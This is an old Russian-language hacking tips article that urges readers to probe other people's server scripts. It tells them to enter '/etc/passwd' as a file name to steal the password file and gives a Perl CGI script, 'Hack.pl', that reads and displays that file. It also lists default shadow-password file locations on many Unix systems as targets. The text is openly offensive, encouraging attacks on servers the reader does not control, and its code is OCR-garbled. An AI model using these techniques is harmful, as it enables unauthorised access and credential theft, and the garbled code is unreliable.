Немного хитростей и уловок
Хитрость 1
Результат работы скрипта не виден под Нетскейп. Ну, так написан скрипт. Пользуйтесь милым моему сердцу Эксплорером! А Нетскейп такая глючная вещь!
Хитрость 2
Все это, конечно, очень круто, но ведь очень часто случается так, что доступа к скриптам нам никто не дает. А файл-то (известно какой) утянуть хочется! Можно ли это сделать? Иногда да, только нужно поискать дырки в существующих скриптах.
А очень часто бывает так, что они есть, только незаметны с первого взгляда. Вот пусть, например, на сервере где-то есть какой-то скрипт (сейчас не важно какой и где), но который запрашивает у пользователя имя файла, которое надлежит открыть (очень часто бывает в различных web-почтовых ящиках, да и в других случаях то же).
Тогда можно ввести что-то вроде </etc/passwd», разумеется без кавычек, как мы имеем неплохие шансы получить этот файл на «дом», что называется с доставкой.
Далеко не все разработчики скриптов учитывают такую ситуацию. Поэтому, однозначно, дыры в системах безопасности есть и они вокруг нас! Надо только хорошо поискать и не боятся экспериментировать!
Хитрость 3
Обратите внимание на следующие строки скрипта:
($login, $pass, $uid, $gid, $narne, $home_dir, $shell) =
* |
Split(':');
TOC o "1-3" h z Print "<tr>
Print "<td>
Print "$login";
Print "<td>
Print "$name";
Print "<td>
print "$home_dir"l
То есть пароль считывается из файла, но не выводится?! Истинно так. Если хотите его увидеть, то добавьте еще одну строчку в скрипт. Догадайтесь, как она должна выглядеть — уверяю, вас это не оставит равнодушными!
Приложение 1. Скрипт Hack. pl
#!/usr/local/bin/perl
Print "Content-type: text/htmlnn";
Print "<B0DY TEXT=#342E27 BGC010R=#D4D3C7
BACKGROUND=Http://do re. on. ru/kpnc/images/BACK1.JPG>";
Print "≶IMG src= Http://dore. on. ru/kpnc/images/PH. JPGxBR>";
Print "Пожалуйста, посетите сайт <А href=Http://kpnc. id. ru>PR0
HACK</a><BR>";
Print "DISPLAY ETC/PASSWD FILE... n"; print "<TABLE widht=100X border=2>"; print "<tr>";
Print "<TH bgcolor=RED> LOGIN"; print "<TH bgcolor=RED> NAME"; print "<TH bgcolor=RED> DIR"; open(PASS, "</etc/passwd") | f die;
While() {
($login, $pass, $uid, $gid, $nane, $home_dir, $shell) =
Split(':'); '
Print "$login"; print
Print "$name"; print
Print "$home_dir"; }
Print "</table>";
Close(PASS);
Приложение 2. Где хранятся пароли?
Если не совсем лох, то в etc/passwd паролей не будет. Там
Можно обнаружить только «крестики». А сами пароли где? А пароли совсем в другом месте, и обычно это место от рядового юзера скрыто. То есть, доступ отрублен. Но иногда случается так, что это сделать забыли!
Так скажите же, где то золотое место! Увы, оно не одно и зависит от настоек администратора и выбранной системы. Ниже приводятся конфигурации по умолчанию. Попытайтесь, — быть может вам повезет:
АІХ З
/etc/security/passwd/tcb/auth/files/≶first letter username>/<username>
A/UX 3.0s
/tcb/files/auth/?/*
BSD4.3-Reno
/etc/master. passwd
ConvexOS 10
/etc/shadpw
ConvexOS 11
/etc/shadow
DG/UX
/etc/tcb/aa/user/
/etc/shadow
HP-UX
/.secure/etc/passwd
IRIX 5
/etc/shadow
Linux 1.1
/etc/shadow
OSF/1
/etc/passwd[.dir|.рад]
SCO Unix #.2.x
/tcb/auth/files/<first letter username>/<userriame>
SunOS4.1+c2
/etc/security/passwd. adjunct
SunOS 5.0
/etc/shadow
System V Release 4.0
/etc/shadow
System V Release 4.2
/etc/security/
DatabaseUltrix 4
/etc/auth[.dir|.pag]
UNICOS
/etc/udb
Как этим пользоваться? Очень просто — заменить путь в следующей сточке скрипта на новый.
Ppen(PASS, "</etc/passwd") 11 die;